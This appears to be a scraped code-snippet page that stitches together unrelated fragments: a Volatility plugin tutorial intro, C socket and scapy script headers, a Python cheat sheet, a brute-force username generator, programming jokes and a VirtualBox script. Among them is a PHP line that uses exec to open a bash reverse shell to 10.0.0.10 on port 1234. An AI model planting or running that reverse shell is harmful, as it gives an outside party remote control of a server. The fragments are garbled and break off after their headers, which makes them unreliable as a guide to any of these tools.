Mimiron amirr0r

My First Volatility Plugin

There is an updated version of this mini-tutorial which includes the much-encouraged unified_output.

Although there are many excellent resources for learning Volatility available (The Art of Memory Forensics book, the vol-users mailing list, the Volatility Labs blog, and the Memory Analysis training course to name a few), I've never really seen a good absolute beginners guide to writing your first plugin. So if you find yourself needing that, hopefully this will help.

Python syntax here : 2.7 - online REPL

Javascript ES6 via Babel transpilation - online REPL

import math

People

	/**
	Handle multiple socket connections with select and fd_set on Linux
	Raj Abishek <[email protected]>
	*/

	#include <stdio.h>
	#include <string.h> //strlen
	#include <stdlib.h>
	#include <errno.h>
	#include <unistd.h> //close

	#!/usr/bin/python2

	"""
	Use scapy to modify packets going through your machine.
	Based on nfqueue to block packets in the kernel and pass them to scapy for validation
	"""

	import nfqueue
	from scapy.all import *
	import os

	#!/usr/bin/env python

	"""Basic Python Cheat Sheet by Filip Kral on 2015/02/16"""

	"""
	Python is a cross-platform, interpreted, object-oriented programming language.
	That means you can run it on Linux, Windows, Mac, and other platforms,
	you don't need to compile your code to execute it because it is compiled on
	the fly, and you can use classes and objects.

	#!/usr/bin/env python3

	'''
	NameMash by superkojiman

	Generate a list of possible usernames from a person's first and last name.

	https://blog.techorganic.com/2011/07/17/creating-a-user-name-list-for-brute-force-attacks/
	'''

	Funny Tech Tweets
	=================

	### Corny ###

	I know a programming joke about 10,000 mutexes, but it's a bit contentious.
	--@secboffin

	I also have a UDP joke. But you might not get it.
	--@jonathanstray

	<?php
	exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");

	#!/bin/sh

	VBoxManage list runningvms \| cut -d "{" -f1 \| sed "s/\"//g" \| while read VBOXNAME; do
	IP=$(VBoxManage guestproperty get "$VBOXNAME" /VirtualBox/GuestInfo/Net/1/V4/IP \| cut -d":" -f2)
	echo "$VBOXNAME: $IP"
	done